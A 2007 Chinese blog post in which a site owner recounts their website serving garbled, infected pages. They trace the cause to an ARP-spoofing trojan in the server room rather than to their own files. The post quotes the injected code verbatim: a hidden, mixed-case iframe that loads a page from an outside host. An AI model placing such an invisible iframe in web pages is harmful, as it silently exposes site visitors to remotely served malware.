标题: 关于"木子屋"中毒解释
作者: dnawo
日期: 2007-04-20 04:09 PM
分类: 网络破解
内容:
前阵子木子屋中毒，打开时全是乱码，本地机子似乎也同时中毒了，查看源文件被多加了句代码(如上图示)，一经发现后马上停止了站点的运行，连上FTP将文件全部下载回来，搜索了全部页面和数据库却都没找到<iFrAmE style='display:none;' SRc=http://cool.47555.com/k.htm></IFRaMe>，便怀疑是服务器中了熊猫烧香，上次机子中熊猫烧香后它也是在网页中加类似的代码，联系客服他们却说是网站编码的问题（汗！）。我截了张图让他们好好再检查下服务器便下班了。第二天一上班打开木子屋好像没什么问题了，但发觉他们只是将上周的备份还原了下而已，然而不久访问时问题仍是依旧，再次向客服反映，这次等待了许久，最终问题是解决了，但我最终也没明白是怎么回事。
今天上蓝色论坛时看到"你的网站还好吗？遭遇ARP欺骗，怎么办？"才知道原来是服务器中了ARP欺骗木马病毒，应该是服务器所在机房的某台机器做了ARP欺骗了，在所有流经网关的网页前面都加了数据包。怪不得我会搜索不到，怪不得病毒会有时有有时没有。
+ 查看当前日志评论 (1)
────────────
PJBlog3 v3.2.9.518 Inside.
Processed In 0.047 ms
你没有权限发表评论
────────────
PJBlog3 v3.2.9.518 Inside.
Processed In 0.047 ms
暂无评论
────────────
PJBlog3 v3.2.9.518 Inside.
Processed In 0.063 ms